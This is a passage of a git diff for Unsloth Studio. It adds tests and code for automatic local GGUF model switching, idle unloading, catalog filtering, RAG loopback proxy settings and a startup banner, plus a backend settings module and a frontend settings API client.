check, so an + # oversized upload must 413 before the switch rather than loading a GGUF first. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + big = "A" * (inference_route._MAX_AUDIO_B64_CHARS + 1) + payload = _chat_request(model = "org/B-GGUF", audio_base64 = big) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + assert exc.value.status_code == 413 + assert rec.calls == [] + + +def test_chat_confirm_without_stream_mcp_rejected_before_switch(monkeypatch): + # Codex P2: mcp_enabled opens the local tool loop on its own, so confirm+no-stream + # +mcp is the same invalid shape as confirm+no-stream+tools and must 400 before + # the switch. The old guard only checked explicit tool fields and missed it. + import state.tool_policy as _tp + from fastapi import HTTPException + + monkeypatch.setattr(_tp, "get_tool_policy", lambda: None) # no CLI --disable-tools + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("org/B-GGUF", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _chat_request( + model = "org/B-GGUF", mcp_enabled = True, confirm_tool_calls = True, stream = False + ) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] + + +def test_require_vision_rejects_text_target_before_switch(monkeypatch): + # Codex P2: an image request naming a different text-only GGUF must 400 before + # the swap, so the resident vision model is not evicted for a rejected request. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/local/B.gguf", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(inference_route, "_target_is_vision", lambda _p: False) + with pytest.raises(HTTPException) as exc: + asyncio.run( + inference_route._maybe_auto_switch_model( + "org/B-GGUF", object(), "t", require_vision = True + ) + ) + assert exc.value.status_code == 400 + assert rec.calls == [] # rejected before the load + + +def test_require_vision_allows_vision_target(monkeypatch): + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/local/B.gguf", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(inference_route, "_target_is_vision", lambda _p: True) + asyncio.run( + inference_route._maybe_auto_switch_model("org/B-GGUF", object(), "t", require_vision = True) + ) + assert len(rec.calls) == 1 # vision target still switches + + +def test_require_vision_ignores_reload_stash(monkeypatch): + # The reload-stash path restores the model the request was already using; the + # modality check applies only to an explicit resolver target, not a restore. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 600) + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + monkeypatch.setattr( + inference_route, "_target_is_vision", lambda _p: False + ) # would reject if used + asyncio.run( + inference_route._maybe_auto_switch_model("org/B-GGUF", object(), "t", require_vision = True) + ) + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "/cache/snap/A" # restored despite require_vision + + +def test_chat_validates_confirm_and_modality_before_switch(): + # Lock the order at the source: confirm-shape rejection precedes the hook, and + # the hook rejects a non-vision target before the load. + import inspect + + src = inspect.getsource(inference_route.openai_chat_completions) + assert src.index("confirm_tool_calls requires stream=true") < src.index( + "_maybe_auto_switch_model" + ) + assert "require_vision" in src + hook = inspect.getsource(inference_route._maybe_auto_switch_model) + assert hook.index("require_vision") < hook.index("_load_model_impl") + assert "does not support the image or audio input" in hook + + +def test_messages_have_image_helper(): + from models.inference import ChatMessage, ImageContentPart, ImageUrl, TextContentPart + + f = inference_route._messages_have_image + text_only = [ + ChatMessage(role = "user", content = "hi"), + ChatMessage(role = "user", content = [TextContentPart(type = "text", text = "hi")]), + ] + assert f(text_only) is False + img = ImageContentPart(type = "image_url", image_url = ImageUrl(url = "data:image/png;base64,AAAA")) + assert f([ChatMessage(role = "user", content = [img])]) is True + + +def test_anthropic_request_has_image_helper(): + from types import SimpleNamespace + + f = inference_route._anthropic_request_has_image + text = SimpleNamespace(messages = [SimpleNamespace(content = "hi")]) + assert f(text) is False + text_block = SimpleNamespace( + messages = [SimpleNamespace(content = [{"type": "text", "text": "hi"}])] + ) + assert f(text_block) is False + dict_img = SimpleNamespace(messages = [SimpleNamespace(content = [{"type": "image"}])]) + assert f(dict_img) is True + typed_img = SimpleNamespace(messages = [SimpleNamespace(content = [SimpleNamespace(type = "image")])]) + assert f(typed_img) is True + + +def test_responses_and_anthropic_wire_require_vision_from_images(): + # P2: the modality guard must fire on /v1/responses and /v1/messages too, so an + # image request can't evict a vision model for a text-only target. Lock the wiring + # at the source: each hook derives require_vision from the request's images. + import inspect + + responses_src = inspect.getsource(inference_route.openai_responses) + assert "require_vision = _messages_have_image(" in responses_src + anthropic_src = inspect.getsource(inference_route.anthropic_messages) + assert "require_vision = _anthropic_request_has_image(" in anthropic_src + # /messages/count_tokens shares the /messages translation, so it needs the same + # guard: an image count must not evict a vision model for a text-only target. + count_src = inspect.getsource(inference_route.anthropic_count_tokens) + assert "require_vision = _anthropic_request_has_image(" in count_src + + +# ── codex review (round 5): count_tokens tools, tool_choice, process-wide gate ── + + +def test_count_tokens_rejects_malformed_tool_before_switch(monkeypatch): + # Codex P2: /v1/messages/count_tokens must reject a malformed tool before the + # switch, like /messages, so a count request can't evict the loaded model. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _anthropic_payload_with_tools([{"name": "broken"}]) # no input_schema/type + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.anthropic_count_tokens(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] + + +def test_count_tokens_forwards_vision_guard_to_switch(monkeypatch): + # Codex P2: an image /v1/messages/count_tokens naming a text-only GGUF must + # carry the same require_vision guard as /messages, so it can't evict a loaded + # vision model for a swap that can't serve the request. + class _Reached(Exception): + pass + + captured = {} + + async def _capture( + model, + request, + subject, + *, + require_vision = False, + ): + captured["require_vision"] = require_vision + raise _Reached() + + monkeypatch.setattr(inference_route, "_anthropic_request_has_image", lambda p: True) + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _capture) + payload = _anthropic_payload_with_tools(None) # no tools -> tool validation passes + with pytest.raises(_Reached): + asyncio.run(inference_route.anthropic_count_tokens(payload, object(), "tester")) + assert captured["require_vision"] is True + + +def test_audio_generate_is_reload_only(monkeypatch): + # Codex P2: /audio/generate must not switch to a client-named GGUF. A local + # GGUF's audio-input capability is not a cheap pre-load probe (the mmproj signal + # can't tell an audio projector from a vision one), so resolving the client model + # could evict the working audio model for a target that then fails the audio + # check. Only the idle-stash restore runs: the hook gets the reload-only sentinel. + from models.inference import ChatCompletionRequest + + class _Reached(Exception): + pass + + captured = {} + + async def _capture( + model, + request, + subject, + *, + require_vision = False, + ): + captured["model"] = model + raise _Reached() + + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _capture) + payload = ChatCompletionRequest( + model = "org/B-GGUF", messages = [{"role": "user", "content": "say hi"}] + ) + with pytest.raises(_Reached): + asyncio.run(inference_route.generate_audio(payload, object(), "tester")) + assert captured["model"] == inference_route._RELOAD_ONLY_MODEL + + +def test_note_model_unloaded_clears_reload_stash(monkeypatch): + # Codex P2: a deliberate unload must drop the idle reload stash so the next /v1 + # request can't resurrect the just-unloaded model. (The idle loop unloads via the + # backend directly, so clearing on the route never fights keep-warm.) + import core.inference.llama_keepwarm as kw + + kw._set_last_unloaded(("org/A-GGUF", "Q4_K_M")) + assert kw.get_last_unloaded_model() == ("org/A-GGUF", "Q4_K_M") + kw.note_model_unloaded() + assert kw.get_last_unloaded_model() is None + + +def test_unload_route_clears_reload_stash(monkeypatch): + # The /unload route must clear the stash on both the GGUF and non-GGUF branches. + import inspect + src = inspect.getsource(inference_route.unload_model) + assert src.count("note_model_unloaded()") >= 2 + + +def test_non_gguf_load_clears_reload_stash(): + # A non-GGUF (Transformers/Unsloth) load must clear the stash like the GGUF + # branch, so it never lingers until the idle poll (or forever, idle-unload off). + import inspect + src = inspect.getsource(inference_route._load_model_impl) + assert src.count("note_model_loaded()") >= 2 + + +def test_chat_rejects_malformed_tool_choice_before_switch(monkeypatch): + # Codex P2: a forcing object with no function name must 400 before the switch. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("org/B-GGUF", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _chat_request(model = "org/B-GGUF", tool_choice = {"type": "function", "function": {}}) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] + + +def test_chat_valid_tool_choice_reaches_hook(monkeypatch): + # A well-formed forcing object must pass the pre-check and reach the hook. + class _Reached(Exception): + pass + + async def _boom(*a, **k): + raise _Reached() + + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _boom) + payload = _chat_request( + model = "org/B-GGUF", tool_choice = {"type": "function", "function": {"name": "ok"}} + ) + with pytest.raises(_Reached): + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + + +def test_lifecycle_gate_serializes_across_loops(): + # Codex P2: the lifecycle gate must be process-wide so a swap on one loop blocks + # inference starting on another. Two loops must never hold the gate at once. + import threading + from core.inference import llama_keepwarm as kw + + state = {"cur": 0, "max": 0} + slock = threading.Lock() + + async def _use(): + async with kw._unload_gate(): + with slock: + state["cur"] += 1 + state["max"] = max(state["max"], state["cur"]) + await asyncio.sleep(0.05) + with slock: + state["cur"] -= 1 + + barrier = threading.Barrier(2) + + def _run(): + barrier.wait() + asyncio.run(_use()) + + threads = [threading.Thread(target = _run) for _ in range(2)] + for t in threads: + t.start() + for t in threads: + t.join() + assert state["max"] == 1 # never held on two loops at once + + +def test_auto_switch_serializes_across_event_loops(monkeypatch): + # Codex P2: the per-loop asyncio lock can't serialize two swaps on different + # event loops in one process. The process-wide gate must, so the two slow loads + # never overlap on the single model slot. + import threading + + backend = _FakeBackend("org/A-GGUF") + state = {"cur": 0, "max": 0} + loaded: list = [] + slock = threading.Lock() + + async def _slow_load( + request, + fastapi_request, + current_subject = None, + ): + with slock: + state["cur"] += 1 + state["max"] = max(state["max"], state["cur"]) + await asyncio.sleep(0.1) # widen the window so an unguarded race would overlap + with slock: + state["cur"] -= 1 + loaded.append(request.model_path) + backend.model_identifier = request.model_path + backend.is_loaded = True + backend._openai_advertised_id = None + + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + monkeypatch.setattr(resolver, "resolve_local_gguf", lambda m: (m, "Q8_0", m)) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + monkeypatch.setattr(inference_route, "_load_model_impl", _slow_load) + monkeypatch.setattr(inference_route, "_auto_switch_waiters", {}) + monkeypatch.setattr(inference_route, "_auto_switch_request_waiters", {}) + + barrier = threading.Barrier(2) + + def _run(model): + barrier.wait() # release both threads together so they truly race + asyncio.run(inference_route._maybe_auto_switch_model(model, object(), "t")) + + threads = [ + threading.Thread(target = _run, args = ("org/B-GGUF",)), + threading.Thread(target = _run, args = ("org/C-GGUF",)), + ] + for t in threads: + t.start() + for t in threads: + t.join() + + assert state["max"] == 1 # the gate serialized the two cross-loop swaps + assert sorted(loaded) == ["org/B-GGUF", "org/C-GGUF"] # both still swapped + + +def test_acquire_swap_gate_is_cancellation_safe(): + # A waiter cancelled while waiting for the gate (client disconnect mid-swap) + # must not leak it: after the holder releases, a fresh acquire still succeeds. + # The to_thread(acquire) approach would leak here -- its worker thread keeps + # acquiring after cancel, so the gate is taken but never released. + async def main(): + await inference_route._acquire_swap_gate() # this loop holds the gate + try: + + async def waiter(): + await inference_route._acquire_swap_gate() + + t = asyncio.create_task(waiter()) + await asyncio.sleep(0.05) # let it spin waiting on the held gate + t.cancel() + with pytest.raises(asyncio.CancelledError): + await t + finally: + inference_route._auto_switch_process_lock.release() + # Gate is free again (the cancelled waiter never acquired it). + await asyncio.wait_for(inference_route._acquire_swap_gate(), timeout = 1) + inference_route._auto_switch_process_lock.release() + + asyncio.run(asyncio.wait_for(main(), timeout = 5)) diff --git a/studio/backend/tests/test_openai_catalog.py b/studio/backend/tests/test_openai_catalog.py index f9baf20a66..552f122ebb 100644 --- a/studio/backend/tests/test_openai_catalog.py +++ b/studio/backend/tests/test_openai_catalog.py @@ -13,6 +13,7 @@ if str(_BACKEND) not in sys.path: sys.path.insert(0, str(_BACKEND)) import routes.inference as inf # noqa: E402 +from core.inference import local_model_resolver as resolver # noqa: E402 class _Info: @@ -21,10 +22,12 @@ class _Info: id, display_name, model_id = None, + is_gguf = True, ): self.id = id self.display_name = display_name self.model_id = model_id + self.is_gguf = is_gguf # drives the files-based GGUF check in the test class _FakeLlama: @@ -53,10 +56,16 @@ def test_catalog_lists_loaded_and_available(monkeypatch): return [ _Info("/data/models/Qwen3-Q4.gguf", "Qwen3-Q4"), # same as loaded -> dedup _Info("/data/models/Llama-8B-Q8.gguf", "Llama-8B-Q8"), # available, not loaded - _Info("models--org--Foo", "Foo", model_id = "org/Foo"), # hf cache repo id + # HF-cache GGUF: model_format is unset for these, so a files-based check + # (not model_format) must still list it. + _Info("models--org--Foo", "Foo", model_id = "org/Foo"), + # Non-GGUF (safetensors) can't be served via /v1: must NOT be advertised. + _Info("/data/models/Mistral-7B", "Mistral-7B", is_gguf = False), ] monkeypatch.setattr(inf, "_cached_local_catalog", _fake_catalog) + # GGUF-ness is read from the on-disk files; drive it off each info's flag here. + monkeypatch.setattr(resolver, "info_has_local_gguf", lambda info: info.is_gguf) data = asyncio.run(inf._openai_catalog_objects()) ids = {m["id"]: m for m in data} @@ -64,9 +73,12 @@ def test_catalog_lists_loaded_and_available(monkeypatch): # Loaded model is present, marked loaded, and keeps context fields. assert ids["Qwen3-Q4"]["loaded"] is True assert ids["Qwen3-Q4"]["context_length"] == 4096 - # Available-but-not-loaded models are listed too. + # Available-but-not-loaded GGUF models are listed too. assert ids["Llama-8B-Q8"]["loaded"] is False + # The HF-cache GGUF is listed despite model_format being unset. assert ids["org/Foo"]["loaded"] is False + # The non-GGUF model is filtered out (/v1 can never serve it). + assert "Mistral-7B" not in ids # The loaded gguf and the on-disk copy collapse to one clean id. assert [m["id"] for m in data].count("Qwen3-Q4") == 1 # No absolute paths or .gguf suffixes leak anywhere. @@ -76,6 +88,20 @@ def test_catalog_lists_loaded_and_available(monkeypatch): assert "/data/" not in blob +def test_catalog_lock_is_per_loop(): + # Codex P2: a module-level asyncio.Lock ties its waiters to the loop that first + # awaited it, so a second event loop awaiting it in a multi-loop process can + # hang. The catalog lock must be per-loop (distinct lock per running loop), and + # the old shared _CATALOG_LOCK must be gone so it can't be reintroduced. + async def _get(): + return inf._catalog_lock() + + a = asyncio.run(_get()) + b = asyncio.run(_get()) # a fresh event loop + assert a is not b + assert not hasattr(inf, "_CATALOG_LOCK") + + def test_empty_and_errored_scans_are_cached(monkeypatch): # Cache validity is keyed on the timestamp, not list contents, so an empty # (fresh install / no local models) or errored scan is still cached for the diff --git a/studio/backend/tests/test_rag_captioning.py b/studio/backend/tests/test_rag_captioning.py index f475c9e374..5ae0926990 100644 --- a/studio/backend/tests/test_rag_captioning.py +++ b/studio/backend/tests/test_rag_captioning.py @@ -172,8 +172,8 @@ def test_vision_complete_sends_auth_header(monkeypatch): def json(self): return {"choices": [{"message": {"content": "ok"}}]} - def fake_post(url, *, json, timeout, headers): - captured.update(url = url, headers = headers) + def fake_post(url, *, json, timeout, headers, trust_env): + captured.update(url = url, headers = headers, trust_env = trust_env) return _Resp() monkeypatch.setattr(httpx, "post", fake_post) @@ -182,6 +182,7 @@ def test_vision_complete_sends_auth_header(monkeypatch): ) assert out == "ok" assert captured["headers"] == {"Authorization": "Bearer secret"} + assert captured["trust_env"] is False def test_vision_complete_omits_header_when_unauthenticated(monkeypatch): @@ -198,13 +199,15 @@ def test_vision_complete_omits_header_when_unauthenticated(monkeypatch): def json(self): return {"choices": [{"message": {"content": "ok"}}]} - def fake_post(url, *, json, timeout, headers): + def fake_post(url, *, json, timeout, headers, trust_env): captured["headers"] = headers + captured["trust_env"] = trust_env return _Resp() monkeypatch.setattr(httpx, "post", fake_post) captioner._vision_complete("http://x", "local", b"i", prompt = "p", timeout = 5.0, max_tokens = 8) assert captured["headers"] is None + assert captured["trust_env"] is False def test_merge_page_captions_dedups(): diff --git a/studio/backend/tests/test_rag_loopback_trust_env.py b/studio/backend/tests/test_rag_loopback_trust_env.py new file mode 100644 index 0000000000..1945e09982 --- /dev/null +++ b/studio/backend/tests/test_rag_loopback_trust_env.py @@ -0,0 +1,52 @@ +"""AST test locking in the RAG loopback trust_env fix: every httpx client/call in the RAG +package (all target the local 127.0.0.1 llama-server) must set trust_env=False.""" + +import ast +import os + +RAG_DIR = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "core", "rag") +HTTPX_CALLEES = {"get", "post", "stream", "request", "Client", "AsyncClient"} + + +def _httpx_calls(path): + with open(path, encoding = "utf-8") as f: + tree = ast.parse(f.read(), filename = path) + calls = [] + for node in ast.walk(tree): + if not isinstance(node, ast.Call): + continue + func = node.func + if ( + isinstance(func, ast.Attribute) + and func.attr in HTTPX_CALLEES + and isinstance(func.value, ast.Name) + and func.value.id == "httpx" + ): + calls.append(node) + return calls + + +def _sets_trust_env_false(call): + for kw in call.keywords: + if kw.arg == "trust_env" and isinstance(kw.value, ast.Constant) and kw.value.value is False: + return True + return False + + +def test_rag_loopback_httpx_clients_disable_trust_env(): + # Scan every .py in the package so a new file with an httpx call can't bypass this. + checked = 0 + for fname in sorted(f for f in os.listdir(RAG_DIR) if f.endswith(".py")): + path = os.path.join(RAG_DIR, fname) + for call in _httpx_calls(path): + checked += 1 + assert _sets_trust_env_false(call), ( + f"httpx.{call.func.attr} at {fname}:{call.lineno} must set trust_env=False " + f"(loopback llama-server client must not honor ambient HTTP(S)_PROXY)" + ) + assert checked >= 3, f"expected at least 3 loopback httpx calls, found {checked}" + + +if __name__ == "__main__": + test_rag_loopback_httpx_clients_disable_trust_env() + print("OK: all RAG loopback httpx clients set trust_env=False") diff --git a/studio/backend/tests/test_startup_banner_loopback.py b/studio/backend/tests/test_startup_banner_loopback.py index e82b741a7b..c8875bf5db 100644 --- a/studio/backend/tests/test_startup_banner_loopback.py +++ b/studio/backend/tests/test_startup_banner_loopback.py @@ -5,6 +5,9 @@ only for the exact loopback aliases, so any other bind (e.g. a specific LAN IP) must show its real address.""" +import io +import sys + import pytest from startup_banner import print_studio_access_banner @@ -22,3 +25,41 @@ def test_non_alias_loopback_shows_real_address(capsys): def test_alias_loopback_shows_canned_url(capsys, host): print_studio_access_banner(port = 8891, bind_host = host, display_host = host) assert "http://127.0.0.1:8891" in capsys.readouterr().out + + +def test_banner_prints_on_strict_cp1252_stdout(monkeypatch): + buf = io.BytesIO() + stdout = io.TextIOWrapper(buf, encoding = "cp1252", errors = "strict") + monkeypatch.setattr(sys, "stdout", stdout) + + print_studio_access_banner(port = 8891, bind_host = "127.0.0.1", display_host = "127.0.0.1") + stdout.flush() + + out = buf.getvalue().decode("cp1252") + assert "? Unsloth Studio is running" in out + + +def test_banner_print_fallback_handles_unknown_stdout_encoding(monkeypatch): + class InvalidEncodingStdout: + encoding = "not-a-real-codec" + + def __init__(self): + self.buf = io.BytesIO() + self.inner = io.TextIOWrapper(self.buf, encoding = "cp1252", errors = "strict") + + def write(self, text): + return self.inner.write(text) + + def flush(self): + return self.inner.flush() + + def getvalue(self): + self.flush() + return self.buf.getvalue().decode("cp1252") + + stdout = InvalidEncodingStdout() + monkeypatch.setattr(sys, "stdout", stdout) + + print_studio_access_banner(port = 8891, bind_host = "127.0.0.1", display_host = "127.0.0.1") + + assert "? Unsloth Studio is running" in stdout.getvalue() diff --git a/studio/backend/utils/openai_auto_switch_settings.py b/studio/backend/utils/openai_auto_switch_settings.py new file mode 100644 index 0000000000..1689395f40 --- /dev/null +++ b/studio/backend/utils/openai_auto_switch_settings.py @@ -0,0 +1,180 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Persisted opt-in controls for OpenAI-compatible model auto-switching. + +Two settings, both off by default so existing API behavior is unchanged: +- ``openai_api_auto_switch_model``: when on, a ``/v1`` request whose ``model`` + names a downloaded local GGUF different from the loaded one transparently + loads it before serving (llama-swap-style). Unknown names pass through. +- ``openai_api_auto_unload_idle_seconds``: when > 0, the loaded GGUF is + unloaded after this many idle seconds to free VRAM. + +The idle TTL can also be set at startup via the ``UNSLOTH_MODEL_IDLE_TTL`` env +var. Unlike the stored setting (which stays gated on auto-switch), the env value +is a standalone default that enables idle-unload even with auto-switch off, for +headless/container deploys; an explicit UI/API value still overrides it. + +Reads are cached for a short window because these are consulted on the +per-request hot path; writes invalidate the cache. +""" + +from __future__ import annotations + +import os +import threading +import time +from typing import Any, Optional + +OPENAI_AUTO_SWITCH_SETTING_KEY = "openai_api_auto_switch_model" +AUTO_UNLOAD_IDLE_SETTING_KEY = "openai_api_auto_unload_idle_seconds" +MODEL_OVERRIDES_SETTING_KEY = "openai_api_auto_switch_overrides" +MODEL_IDLE_TTL_ENV_VAR = "UNSLOTH_MODEL_IDLE_TTL" + +DEFAULT_OPENAI_AUTO_SWITCH_ENABLED = False +DEFAULT_AUTO_UNLOAD_IDLE_SECONDS = 0 + +_CACHE_TTL_S = 2.0 +_cache_lock = threading.Lock() +_cache: dict[str, tuple[float, Any]] = {} + + +def _coerce_bool(value: Any) -> bool | None: + if isinstance(value, bool): + return value + if isinstance(value, str): + normalized = value.strip().lower() + if normalized in {"1", "true", "yes", "on"}: + return True + if normalized in {"0", "false", "no", "off", ""}: + return False + return None + + +def _coerce_int(value: Any) -> int | None: + try: + return max(0, int(value)) + except (TypeError, ValueError): + return None + + +def _cached_setting(key: str, default: Any) -> Any: + """Read an app setting, memoized for _CACHE_TTL_S to spare the hot path.""" + now = time.monotonic() + with _cache_lock: + hit = _cache.get(key) + if hit is not None and now - hit[0] < _CACHE_TTL_S: + return hit[1] + try: + from storage.studio_db import get_app_setting + stored = get_app_setting(key, None) + except Exception: + stored = None + value = default if stored is None else stored + with _cache_lock: + _cache[key] = (now, value) + return value + + +def _invalidate(key: str) -> None: + with _cache_lock: + _cache.pop(key, None) + + +def get_openai_auto_switch_enabled() -> bool: + parsed = _coerce_bool(_cached_setting(OPENAI_AUTO_SWITCH_SETTING_KEY, None)) + return parsed if parsed is not None else DEFAULT_OPENAI_AUTO_SWITCH_ENABLED + + +def _stored_idle_seconds() -> Optional[int]: + """The persisted idle TTL as an int, or None when never set.""" + return _coerce_int(_cached_setting(AUTO_UNLOAD_IDLE_SETTING_KEY, None)) + + +def _env_idle_seconds() -> Optional[int]: + """UNSLOTH_MODEL_IDLE_TTL as a non-negative seconds value, or None if unset/invalid.""" + raw = os.environ.get(MODEL_IDLE_TTL_ENV_VAR) + if raw is None or not raw.strip(): + return None + return _coerce_int(raw) + + +def get_stored_auto_unload_idle_seconds() -> int: + """The persisted idle-unload TTL, independent of whether auto-switch is on. + + The settings UI reads this so it can display and round-trip the saved value; + toggling auto-switch off must not erase it. Falls back to the env override so + the UI shows the startup default. The idle loop uses the gated reader below. + """ + stored = _stored_idle_seconds() + if stored is not None: + return stored + env = _env_idle_seconds() + return env if env is not None else DEFAULT_AUTO_UNLOAD_IDLE_SECONDS + + +def get_auto_unload_idle_seconds() -> int: + """Effective idle TTL the idle loop runs on (0 = never unload).""" + stored = _stored_idle_seconds() + if stored is not None: + # An explicit UI/API value stays gated on auto-switch: off reports 0 so the + # off state is identical to pre-feature. + return stored if get_openai_auto_switch_enabled() else 0 + # No stored value: UNSLOTH_MODEL_IDLE_TTL is a standalone startup default that + # enables idle-unload even with auto-switch off (headless/container deploys). + env = _env_idle_seconds() + return env if env is not None else 0 + + +def set_openai_auto_switch(enabled: Any, idle_seconds: Any) -> tuple[bool, int]: + """Set both auto-switch flags in one transaction so a settings PUT can't leave + one key updated and the other stale. Both values are coerced before any write, + so an invalid value raises without persisting either.""" + parsed_enabled = _coerce_bool(enabled) + if parsed_enabled is None: + raise ValueError("OpenAI auto-switch must be true or false.") + parsed_idle = _coerce_int(idle_seconds) + if parsed_idle is None: + raise ValueError("Auto-unload idle seconds must be a non-negative integer.") + from storage.studio_db import upsert_app_settings + + upsert_app_settings( + {OPENAI_AUTO_SWITCH_SETTING_KEY: parsed_enabled, AUTO_UNLOAD_IDLE_SETTING_KEY: parsed_idle} + ) + _invalidate(OPENAI_AUTO_SWITCH_SETTING_KEY) + _invalidate(AUTO_UNLOAD_IDLE_SETTING_KEY) + return parsed_enabled, parsed_idle + + +def get_model_overrides() -> dict[str, dict]: + """Per-model launch overrides keyed by model id ({llama_extra_args, max_seq_length}).""" + raw = _cached_setting(MODEL_OVERRIDES_SETTING_KEY, None) + return raw if isinstance(raw, dict) else {} + + +def get_model_override(model_id: str) -> dict: + """The launch override applied when auto-switch loads ``model_id`` (or empty).""" + override = get_model_overrides().get(model_id) + return override if isinstance(override, dict) else {} + + +def set_model_override( + model_id: str, + llama_extra_args: Optional[list[str]] = None, + max_seq_length: Optional[int] = None, +) -> dict: + """Upsert one model's launch override; an override with no fields removes it.""" + if not model_id or not model_id.strip(): + raise ValueError("model_id is required.") + entry: dict[str, Any] = {} + if llama_extra_args: + entry["llama_extra_args"] = [str(arg) for arg in llama_extra_args] + if max_seq_length: + entry["max_seq_length"] = max(0, int(max_seq_length)) + + from storage.studio_db import upsert_app_setting_map_entry + + # Atomic per-entry merge so two PUTs for different models can't drop each other. + upsert_app_setting_map_entry(MODEL_OVERRIDES_SETTING_KEY, model_id.strip(), entry or None) + _invalidate(MODEL_OVERRIDES_SETTING_KEY) + return entry diff --git a/studio/frontend/src/features/settings/api/openai-auto-switch.ts b/studio/frontend/src/features/settings/api/openai-auto-switch.ts new file mode 100644 index 0000000000..80ffc084d0 --- /dev/null +++ b/studio/frontend/src/features/settings/api/openai-auto-switch.ts @@ -0,0 +1,89 @@ +// SPDX-License-Identifier: AGPL-3.0-only +// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +import { authFetch } from "@/features/auth"; +import { readFastApiError } from "@/lib/format-fastapi-error"; + +export type OpenAIAutoSwitchSettings = { + enabled: boolean; + autoUnloadIdleSeconds: number; + defaultEnabled: boolean; + // True when the idle-unload loop will actually unload (e.g. enabled via the + // UNSLOTH_MODEL_IDLE_TTL env var even while the toggle is off). + idleUnloadActive: boolean; +}; + +type ApiOpenAIAutoSwitchSettings = { + enabled: boolean; + // biome-ignore lint/style/useNamingConvention: API schema + auto_unload_idle_seconds: number; + // biome-ignore lint/style/useNamingConvention: API schema + default_enabled: boolean; + // biome-ignore lint/style/useNamingConvention: API schema + idle_unload_active?: boolean; +}; + +let cachedSettings: OpenAIAutoSwitchSettings | null = null; +let inFlightSettings: Promise | null = null; + +function fromApi( + settings: ApiOpenAIAutoSwitchSettings, +): OpenAIAutoSwitchSettings { + return { + enabled: settings.enabled, + autoUnloadIdleSeconds: settings.auto_unload_idle_seconds, + defaultEnabled: settings.default_enabled, + idleUnloadActive: settings.idle_unload_active ?? false, + }; +} + +async function fetchOpenAIAutoSwitchSettings(): Promise { + const res = await authFetch("/api/settings/openai-auto-switch"); + if (!res.ok) { + throw new Error( + await readFastApiError(res, "Failed to load model auto-switch settings"), + ); + } + return fromApi(await res.json()); +} + +function cacheSettings(settings: OpenAIAutoSwitchSettings) { + cachedSettings = settings; + return settings; +} + +export async function loadOpenAIAutoSwitchSettings() { + if (cachedSettings) { + return cachedSettings; + } + inFlightSettings ??= fetchOpenAIAutoSwitchSettings() + .then(cacheSettings) + .finally(() => { + inFlightSettings = null; + }); + return inFlightSettings; +} + +export async function updateOpenAIAutoSwitchSettings( + enabled: boolean, + autoUnloadIdleSeconds: number, +): Promise { + const res = await authFetch("/api/settings/openai-auto-switch", { + method: "PUT", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ + enabled, + // biome-ignore lint/style/useNamingConvention: API schema + auto_unload_idle_seconds: autoUnloadIdleSeconds, + }), + }); + if (!res.ok) { + throw new Error( + await readFastApiError( + res, + "Failed to update model auto-switch settings", + ), + ); + } + return cacheSettings(fromApi(await res.json())); +} diff --git a/studio/frontend/src/features/settings/components/model-auto-switch-section.tsx b/studio/frontend/src/features/settings/components/model-auto-switch-section.tsx new file mode 100644 index 0000000000..581c78ebd1 --- /dev/null +++ b/studio/frontend/src/features/settings/components/model-auto-switch-section.tsx @@ -0,0 +1,165 @@ +// SPDX-License-Identifier: AGPL-3.0-only +// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +import { Button } from "@/components/ui/button"; +import { Input } from "@/components/ui/input"; +import { Switch } from "@/components/ui/switch"; +import { useT } from "@/i18n"; +import { useEffect, useState } from 